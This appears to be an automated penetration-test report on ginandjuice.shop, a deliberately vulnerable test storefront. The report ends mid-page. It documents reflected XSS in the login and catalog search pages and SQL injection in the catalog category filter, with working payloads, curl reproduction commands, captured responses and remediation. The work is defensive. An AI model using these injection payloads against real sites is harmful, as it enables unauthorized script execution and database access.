                                <input tabindex=0 placeholder="Username" required type=hidden id="usernameInput" name="username">
                                <script>
                                    var username = ''-alert('av_73c492a6e60d81ba['+7*7+']')-'';
                                    document.getElementById('usernameInput').value = username;
                                </script>
                                <span><b>Password</b> hunter2</span>
                                <input tabindex=0 placeholder="Password" required type=password name="password" autofocus>
                                <button class=button type=submit> Log in </button>
                            </form>
                        </section>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Observed effect

kind
browser-dialog
version
1
confirmationId
c1
actionId
e43a045b-e662-45d0-a310-418158626b50
deliveringRequestId
fe6cf389-599c-4d08-906d-db1cb0414303
dialog
{"documentActionId":"e43a045b-e662-45d0-a310-418158626b50","actionId":"e43a045b-e662-45d0-a310-418158626b50","type":"alert","message":"av_73c492a6e60d81ba[49]","url":"https://ginandjuice.shop/login","at":1791795786654}

Derived severity metrics

  • PR=N: Victim browser delivers the payload; its session is not an attacker privilege.
  • UI=A: The nonce payload is in the bound dialog’s delivering request; victim navigation or a browser action is required.
  • AT=P: The delivering request carries form:csrf, an anti-forgery value an earlier response issued to the tester's session; an attacker cannot supply the victim's.

POST https://ginandjuice.shop/login · Verified

MEDIUM

Reflected XSS in the catalog searchTerm parameter on GET /catalog

Verified

Assessment details

The recorded test demonstrates the finding on this target.

Severity (CVSS)

5.1 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Assessed for this target

Network-reachable reflected XSS with no authentication or special conditions; the victim must follow a crafted link (UI:A). Script executes in the victim's session origin, so limited confidentiality and integrity impact on the application (session data readable, actions performable as the victim). The session cookie is HttpOnly, which caps direct credential theft, hence Low rather than High.

Explanation

The searchTerm query parameter of GET /catalog is reflected verbatim into an inline <script> block as var searchText = '<value>';. The application HTML-escapes <, >, " and backslash-escapes ', but it does not escape the backslash character itself. Supplying a backslash before the quote therefore consumes the escape the application inserts, leaving the attacker's quote unescaped and terminating the JavaScript string literal. Because single quotes are still escaped, the injected code uses a template literal (backticks, which are not escaped). The result is valid inline JavaScript that executes in the page origin.

The vulnerable sink is the generated script:

var searchText = '<searchTerm>';
document.getElementById('searchBar').value = searchText;

The payload \';alert(av_49c8c1374ad5125c[${8*8}])// renders as:

var searchText = '\\';alert(`av_49c8c1374ad5125c[${8*8}]`)//';

The first \\ is a literal backslash, the following ' closes the string, alert(...) runs, and // comments out the application's trailing ';.

Prerequisites

Confirmed: no authentication is required to reach /catalog; the endpoint is public. Confirmed: the parameter is reflected into an inline script context and the backslash-before-quote sequence is not neutralised. Confirmed: searchTerm is a GET parameter, so the whole exploit is a single crafted URL. Unmet: a victim user must open the crafted URL in a browser for the script to run (reflected XSS). Unknown: whether a real victim session holds anything of value; the session cookie is HttpOnly and SameSite=None, so it cannot be read via document.cookie, but page content and authenticated actions remain reachable in-origin.

Reproduction steps

Fresh start: no credentials or prior state needed; /catalog is public.

  1. Build the payload. The quote is escaped by the server, so lead with a backslash and use backticks for the string:
\';alert(`av_49c8c1374ad5125c[${8*8}]`)//
  1. URL-encode the payload (encode \ ' ; ( backtick [ $ { * } ] ) /):
https://ginandjuice.shop/catalog?searchTerm=%5C%27%3Balert%28%60av_49c8c1374ad5125c%5B%24%7B8%2A8%7D%5D%60%29%2F%2F
  1. Request the URL (curl or a browser) and observe the reflected script. With the browser, the JavaScript executes and an alert dialog appears containing av_49c8c1374ad5125c[64] (the template literal computes 8*8 = 64 on the client, so the product never travels in the request).

Expected result: the dialog av_49c8c1374ad5125c[64] is raised from the ginandjuice.shop origin.

Control: request /catalog?searchTerm=gin and confirm only the plain search string is reflected with no dialog; the alert text appears only when the backslash/backtick sequence is present.

Cleanup: none — the exploit is a stateless GET and creates no server-side state.

Evidence

Attack request (captured as this work's request) — the reflected response shows the break-out:

GET /catalog?searchTerm=%5C%27%3Balert%28%60av_49c8c1374ad5125c%5B%24%7B8%2A8%7D%5D%60%29%2F%2F HTTP/2
Host: ginandjuice.shop
<script>
    var searchText = '\\';alert(`av_49c8c1374ad5125c[${8*8}]`)//';
    document.getElementById('searchBar').value = searchText;
</script>

Browser execution of the same URL raised a dialog; the harness confirmed it (confirmation c1):

dialogs: [{"type":"alert","message":"av_49c8c1374ad5125c[64]","url":"https://ginandjuice.shop/catalog?searchTerm=...&pm=pmff73daec9586"}]
c1 confirmed: xss (dialog av_49c8c1374ad5125c[64]) on GET /catalog

The computed value 64 appears only in the rendered dialog, never in a request field. A fresh control with searchTerm=gin reflects the plain string and raises no dialog.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 05af5f16-dd68-4f11-aba7-bc5a847dec32

Impact

Demonstrated: arbitrary JavaScript executes in the origin of ginandjuice.shop for any user who follows the crafted link. In an e-commerce session this permits reading and altering the victim's page content, performing authenticated actions in the victim's context (cart changes, coupon application, order placement, account/username operations), and reading any non-HttpOnly data. Confidentiality and integrity of the user's session are exposed. The session cookie is HttpOnly, so direct cookie exfiltration via document.cookie is not possible; an attacker would instead act inside the live session. Availability impact is not demonstrated. Reputationally, an attacker-controlled script on the storefront can host convincing phishing or skimming content.

Remediation

Do not build JavaScript by string concatenation with user input. Emit the search value as data, not code — for example set the field via document.getElementById('searchBar').value = <json-encoded value>; where the value is serialized with a JSON encoder (which escapes \, ', ", <, >, &), or place the value in a data- attribute with full HTML attribute encoding and read it from the DOM. Alternatively, drop the inline script and set the input value from the existing server-rendered attribute. If inline scripts must remain, apply context-appropriate JavaScript string encoding that escapes backslash as well as the quote. When the PoC is rerun, the searchTerm value must be rendered as inert text inside the input and no dialog should appear.

Evidence of record

  • Attack · r11 · 05af5f16-dd68-4f11-aba7-bc5a847dec32
    Request
    GET https://ginandjuice.shop/catalog?searchTerm=%5C%27%3Balert%28%60av_49c8c1374ad5125c%5B%24%7B8%2A8%7D%5D%60%29%2F%2F&pm=pmff73daec9586
    pragma: no-cache
    cache-control: no-cache
    accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    upgrade-insecure-requests: 1
    user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
    accept-language: en-US
    dnt: 1
    sec-ch-ua: "Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Linux"
    sec-fetch-site: none
    sec-fetch-mode: navigate
    sec-fetch-user: ?1
    sec-fetch-dest: document
    accept-encoding: gzip, deflate, br, zstd
    priority: u=0, i
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:03:15 GMT
    content-type: text/html; charset=utf-8
    content-length: 2439
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:03:15 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:03:15 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    x-backend: afe78951-5574-463e-9aac-b2da4a965957
    x-frame-options: SAMEORIGIN
    content-encoding: gzip
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '\\';alert(`av_49c8c1374ad5125c[${8*8}]`)//';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories&searchTerm=%5c%27%3balert%28%60av_49c8c1374ad5125c%5b%24%7b8*8%7d%5d%60%29%2f%2f","Accompaniments":"/catalog?category=Accompaniments&searchTerm=%5c%27%3balert%28%60av_49c8c1374ad5125c%5b%24%7b8*8%7d%5d%60%29%2f%2f","Books":"/catalog?category=Books&searchTerm=%5c%27%3balert%28%60av_49c8c1374ad5125c%5b%24%7b8*8%7d%5d%60%29%2f%2f","Gin":"/catalog?category=Gin&searchTerm=%5c%27%3balert%28%60av_49c8c1374ad5125c%5b%24%7b8*8%7d%5d%60%29%2f%2f","Juice":"/catalog?category=Juice&searchTerm=%5c%27%3balert%28%60av_49c8c1374ad5125c%5b%24%7b8*8%7d%5d%60%29%2f%2f"};
        const selectedCategory = null;
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <div class="no-results">
                            <div class="no-results-icon"><svg><use href="/resources/images/goggles.svg#goggles"></use></svg></div>
                            <h2>Sorry! No result found</h2>
                            <div>But don't give up - check the spelling or try less specific search terms.</div>
                        </div>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                            </nav>
                        </div>
                    </section>
                </div>
            </div>
            <script src='/resources/footer/js/scanme.js'></script>
        </body>
    </html>
    

Observed effect

kind
browser-dialog
version
1
confirmationId
c1
actionId
ce1aa25a-a761-44e1-8069-d104d6b3d518
deliveringRequestId
05af5f16-dd68-4f11-aba7-bc5a847dec32
dialog
{"documentActionId":"ce1aa25a-a761-44e1-8069-d104d6b3d518","actionId":"ce1aa25a-a761-44e1-8069-d104d6b3d518","type":"alert","message":"av_49c8c1374ad5125c[64]","url":"https://ginandjuice.shop/catalog?searchTerm=%5C%27%3Balert%28%60av_49c8c1374ad5125c%5B%24%7B8%2A8%7D%5D%60%29%2F%2F&pm=pmff73daec9586","at":1791795795925}

Derived severity metrics

  • PR=N: Victim browser delivers the payload; its session is not an attacker privilege.
  • UI=A: The nonce payload is in the bound dialog’s delivering request; victim navigation or a browser action is required.
  • AT=N: The delivering request carries no anti-forgery value issued to the tester's session, so an attacker can deliver it.
  • VC=N: The script runs in the victim's browser; its impact belongs on the subsequent system.
  • SC=L: The script runs in the victim's browser; its impact belongs on the subsequent system.
  • VI=N: The script runs in the victim's browser; its impact belongs on the subsequent system.
  • SI=L: The script runs in the victim's browser; its impact belongs on the subsequent system.

GET https://ginandjuice.shop/catalog · Verified

CRITICAL

SQL injection in the catalog category filter on GET /catalog

Verified

The baseline and true/false responses were checked for the marker.

Assessment details

The recorded test demonstrates the finding on this target.

Severity (CVSS)

9.3 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Assessed for this target

Unauthenticated, network-reachable SQL injection with no special conditions (AT:N, PR:N, UI:N). The injection point evaluates attacker-supplied boolean expressions against the product query, allowing full read of the backing database (product/account/order data) and, with stacked or sub-select statements, modification of it. Confidentiality and integrity are rated High; availability is Low because a malformed quote already produces a 500 error and destructive statements are plausible but not demonstrated.

Explanation

The category query parameter of GET /catalog is concatenated into a SQL statement without parameterisation. A single quote breaks the statement and the application returns an HTTP 500 "Internal Server Error" page; appending a SQL comment (-- -) restores a valid statement and a normal 200 product listing. Injecting boolean conditions controls the query result: category=Gin' AND 11=11-- - returns the Gin products, while category=Gin' AND 11=12-- - returns the empty "No result found" page. The two responses differ only in the truth value of the injected predicate, proving the input is evaluated as SQL.

Because searchTerm on the same endpoint is escaped/parameterised (quotes are backslash-escaped and never break the query), the vulnerable input is specifically category.

Prerequisites

Confirmed: /catalog is public and requires no authentication. Confirmed: the category value is placed inside a SQL string literal and a lone quote triggers a database error (HTTP 500). Confirmed: the comment sequence -- - terminates the remainder of the original statement, so attacker-controlled predicates can be appended. Unmet: none — the proof uses only GET requests with no session or credentials. Unknown: the exact DBMS and the surrounding query text; the -- comment form and integer predicates used here are portable across MySQL/PostgreSQL/MSSQL, and the observed error page is generic.

Reproduction steps

Fresh start: no credentials or prior state; the endpoint is public. Use a client that preserves URL encoding (curl).

  1. Confirm the injection point. Request a lone quote and observe the error:
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27" -w "\n[%{http_code}]\n"

Expected: HTTP 500 with an "Internal Server Error" page.

  1. Confirm the comment closes the statement and restores normal behaviour:
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27--%20-" | grep -c "container-list-tiles"

Expected: 1 (a product listing, HTTP 200).

  1. Baseline and boolean pairs (the marker used by the proof is the product name Sloe Gin Timer Kit, which appears in the baseline and true responses only):
curl -sk "https://ginandjuice.shop/catalog?category=Gin" | grep -c "Sloe Gin Timer Kit"                        # baseline
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27%20AND%2011%3D11--%20-" | grep -c "Sloe Gin Timer Kit" # true
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27%20AND%2011%3D12--%20-" | grep -c "Sloe Gin Timer Kit" # false
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27%20AND%2023%3D23--%20-" | grep -c "Sloe Gin Timer Kit" # true
curl -sk "https://ginandjuice.shop/catalog?category=Gin%27%20AND%2023%3D24--%20-" | grep -c "Sloe Gin Timer Kit" # false

Expected results: baseline 1, true 1, false 0, true 1, false 0; every response is HTTP 200.

Cleanup: none — the requests are read-only GETs and create no state.

Evidence

The error differential — a bare quote breaks the query:

GET /catalog?category=Gin%27 HTTP/2
Host: ginandjuice.shop
HTTP/2 500
content-type: text/html; charset=utf-8
...
<h4>Internal Server Error</h4>
<p class=is-warning>Internal Server Error</p>

The boolean differential — true predicates return products, false predicates return the empty listing. Captured responses for the five proof requests (aliases r44–r48); each returned HTTP 200 and the response bodies contained the marker Sloe Gin Timer Kit as follows:

category=Gin                        -> 200, marker present
category=Gin' AND 11=11-- -         -> 200, marker present
category=Gin' AND 11=12-- -         -> 200, marker absent (empty "No result found")
category=Gin' AND 23=23-- -         -> 200, marker present
category=Gin' AND 23=24-- -         -> 200, marker absent (empty "No result found")

Example true response body (truncated):

<section class="container-list-tiles">
  <a href="/catalog/product?productId=1"> ... <h3>Pineapple Edition Cocktail</h3> ...
  ... <h3>Sloe Gin Timer Kit</h3> ...

The marker appears in the baseline and both true responses and in neither false response, and appears in none of the requests.

Recorded capture references

  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 9a00516b-5f9c-4d0d-bd82-0e62b9f70478
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 6ef999e9-55e1-441c-adb1-5c632c43526b
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 19e46792-d3ff-429b-9cee-aa7c1bc7373c
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 3cabd302-618f-4b09-b955-694a3f4dad46
  • Pentest capture e59c10b1-fd0b-45bf-b082-115490d14a0a 17b0a39f-e6ae-4d41-b5ba-b58d34ed380c

Impact

Demonstrated: an unauthenticated attacker can control the logic of the catalog query and read arbitrary data reachable by that database account (product records, and by extension any user, order or credential data stored in the same schema). The injection also allows returning rows outside the intended category filter, so access-control by filter is bypassed. Integrity impact is plausible through stacked/sub-select statements (updating or deleting rows) but was not exercised against real data. Availability impact is Low: malformed input already yields 500 errors, and destructive statements are conceivable. No monetary transaction was performed.

Remediation

Use parameterised queries (prepared statements) for the category filter — bind the value as a parameter rather than concatenating it into the SQL text, so the database treats it strictly as data. Additionally, validate category against the known allow-list of category names and reject unknown values with a 400 response. When the PoC is rerun, category=Gin' must return a normal 200 (filtered or empty listing) rather than a 500, and the injected AND 11=12 predicate must not change the result set.

Evidence of record

  • baselineId · r44 · 9a00516b-5f9c-4d0d-bd82-0e62b9f70478
    Request
    GET https://ginandjuice.shop/catalog?category=Gin
    user-agent: curl/8.5.0
    accept: */*
    Response
    HTTP 200 OK
    date: Mon, 12 Oct 2026 09:04:14 GMT
    content-type: text/html; charset=utf-8
    content-length: 13110
    set-cookie: AWSALB=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:14 GMT; Path=/
    set-cookie: AWSALBCORS=[REDACTED]; Expires=Mon, 19 Oct 2026 09:04:14 GMT; Path=/; SameSite=None; Secure
    set-cookie: TrackingId=[REDACTED]; Secure; HttpOnly
    set-cookie: session=[REDACTED]; Secure; HttpOnly; SameSite=None
    set-cookie: category=[REDACTED]; Secure; HttpOnly
    x-backend: afe78951-5574-463e-9aac-b2da4a965957
    x-frame-options: SAMEORIGIN
    
    <!DOCTYPE html>
    <html>
    <!--LAB_HEAD_START-->
        <head>
            <link href=/resources/labheader/css/scanMeHeader.css rel=stylesheet>
            <link href=/resources/css/labsEcommerce.css rel=stylesheet>
            <link href=/resources/css/labsScanme.css rel=stylesheet>
            <meta name="viewport" content="width=device-width, user-scalable=no">
            <script src="/resources/js/react.development.js"></script>
            <script src="/resources/js/react-dom.development.js"></script>
            <script type="text/javascript" src="/resources/js/angular_1-7-7.js"></script>
            <title>Products - Gin &amp; Juice Shop</title>
        </head>
    <!--LAB_HEAD_END-->
        <body ng-app>
            <div id="scanMeHeader">
                <section class="header-description">
                    <p>
                        This is a deliberately vulnerable web application designed for testing web&nbsp;vulnerability&nbsp;scanners.
                        <span class="link" onmouseenter="window.__x1 = 1" onmouseover="window.__x2 = 1" onmousemove="window.__x3 = 1"  onmousedown="window.__x4 = 1" onmouseup="if (window.__x1 && window.__x2 && window.__x3 && window.__x4) location = atob('L3Z1bG5lcmFiaWxpdGllcw==')" onmouseleave="delete window.__x1; delete window.__x2; delete window.__x3; delete window.__x4">Put your scanner to the test!</span>
                    </p>
                </section>
                <section class='scanMeBanner'>
                    <div class=container>
                        <a href='/'>
                            <div class=scanme-logo></div>
                        </a>
                        <div class=title-container>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
                                <ul class="navigation-header-links secondary-links">
                                    <li>
                                        <a class="account-icon" href="/my-account"><svg><use href="/resources/images/icon-account.svg#account-icon"></use></svg></a>
                                        <ul>
                                            <li>
                                                <a class="button" href="/my-account">Log in</a>
                                            </li>
                                            <li>
                                                <a class="button" href="/my-account">My account</a>
                                            </li>
                                        </ul>
                                    </li>
                                    <li>
                                        <a class="cart-icon" href="/catalog/cart"><span>0</span><svg><use href="/resources/images/icon-cart.svg#cart-icon"></use></svg></a>
                                    </li>
                                    <li class="nav-toggle"><a class="nav-trigger"><span></span><span></span><span></span></a></li>
                                </ul>
                            </nav>
                        </div>
                    </div>
                </section>
            </div>
            <div theme="ecommerce">
                <section class="maincontainer">
                    <div class="container is-page">
                        <header class="notification-header">
                        </header>
                        <h1>Products</h1>
                        <section class=search>
                            <form action="/catalog" method=GET>
                                <input type=text id="searchBar" placeholder="Search products" name="searchTerm">
                                <script>
                                    var searchText = '';
                                    document.getElementById('searchBar').value = searchText;
                                </script>
                                <input hidden type=text name="category" value="Gin">
                                <button type=submit class=button>Search</button>
                            </form>
                        </section>
                        <section id="react-container" class="search-filters">
                            <label>Refine your search:</label>
                            <script type="text/javascript" >
        const element = React.createElement;
        const categories = {"All":"/catalog","Accessories":"/catalog?category=Accessories","Accompaniments":"/catalog?category=Accompaniments","Books":"/catalog?category=Books","Gin":"/catalog?category=Gin","Juice":"/catalog?category=Juice"};
        const selectedCategory = "Gin";
        const root = ReactDOM.createRoot(document.getElementById('react-container'));
    
        const categorySelected = (name, selected) => !!selected ? name === selected : name === "All";
    
        const categoryList = Object.entries(categories).map((category, i) => {
            const name = category[0];
            const href = category[1];
            const selected = categorySelected(name, selectedCategory);
            const className = selected ? 'filter-category selected' : 'filter-category';
            return element('a', { key: i, className, href }, name);
        });
    
        const filterBar = element('div', null, categoryList);
        root.render(filterBar);
    
    </script>
                        </section>
                        <section class="container-list-tiles">
                            <a href="/catalog/product?productId=1">
                                <img src="/image/scanme/productcatalog/products/pineapple_edition.png">
                                <h3>Pineapple Edition Cocktail</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=6">
                                <img src="/image/scanme/productcatalog/products/batch_1337.png">
                                <h3>Batch 1337 Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=10">
                                <img src="/image/scanme/productcatalog/products/2.png">
                                <h3>Sloe Gin Timer Kit</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$85.78</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=13">
                                <img src="/image/scanme/productcatalog/products/6.png">
                                <h3>Orange Gin Finest</h3>
                                <img src="/resources/images/rating2.png">
                                <span class="price">$64.64</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=14">
                                <img src="/image/scanme/productcatalog/products/kettle_still.png">
                                <h3>Kettle Still Edition Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=15">
                                <img src="/image/scanme/productcatalog/products/original_dry_sqli.png">
                                <h3>Original Dry SQLi Cocktail</h3>
                                <img src="/resources/images/rating4.png">
                                <span class="price">$30.50</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=16">
                                <img src="/image/scanme/productcatalog/products/purple_hat.png">
                                <h3>Purple Hat Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$100.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=17">
                                <img src="/image/scanme/productcatalog/products/lost_in_a_heyes.png">
                                <h3>Lost in a Heyes Gin</h3>
                                <img src="/resources/images/rating5.png">
                                <span class="price">$50.00</span>
                                <span class="button">View details</span>
                            </a>
                            <a href="/catalog/product?productId=18">
                                <img src="/image/scanme/productcatalog/products/4.png">
                                <h3>Gin Flavouring Gift Box</h3>
                                <img src="/resources/images/rating3.png">
                                <span class="price">$68.70</span>
                                <span class="button">View details</span>
                            </a>
                        </section>
                        <div class=is-linkback>
                            <a href='/catalog'>Continue shopping</a>
                        </div>
                    </div>
                </section>
                <div class="footer-wrapper">
                    <section class="footer">
                        <div class="footer-left"></div>
                        <div class="footer-center">
                            <h2>Never miss a deal - subscribe now</h2>
                            <p>Join our worldwide community of gin and juice fanatics, for exclusive news on our latest deals, new releases, collaborations, and more.</p>
                            <script src='/resources/js/subscribeNow.js'></script>
                            <div id="subscribe" class="form" data-method="post" data-action="/catalog/subscribe">
                                <input required type=email name=email placeholder="Email address">
                                <input required type="hidden" name="csrf" value="[REDACTED]">
                                <button class="button" type=submit>Subscribe</button>
                            </div>
                            <dialog id="coupon-dialog">
                                <div class="coupon-wrapper">
                                    <button class="close-button" onclick="closeCouponDialog(event)"></button>
                                    <div class="coupon-info">
                                        <h1>20% off everything</h1>
                                        <div class="coupon-input">
                                            <h3 id="copyable-coupon">Coupon not found</h3>
                                            <button id="copy-coupon-button" class="copy-button" onclick="copyCoupon(event)"></button>
                                            <div id="coupon-copied-tick" class="coupon-copied-tick hidden"></div>
                                        </div>
                                        <p>Apply this coupon to your Shopping Cart before placing your order.</p>
                                    </div>
                                </div>
                            </dialog>
                            <div class="footer-copyright">
                                <div class="portswigger-logo"></div>
                                <div>© 2023 PortSwigger Ltd.</div>
                            </div>
                        </div>
                        <div class="footer-right"></div>
                    </section>
                    <section class="footer-lower">
                        <div class="footerNavigation">
                            <div class="socialLinks">
                            </div>
                            <nav>
                                <ul class="navigation-header-links primary-links">
                                    <li>
                                        <a class="button selected" href="/catalog">Products</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/blog">Blog</a>
                                    </li>
                                    <li>
                                        <a class="button" href="/about">Our story</a>
                                    </li>
                                </ul>
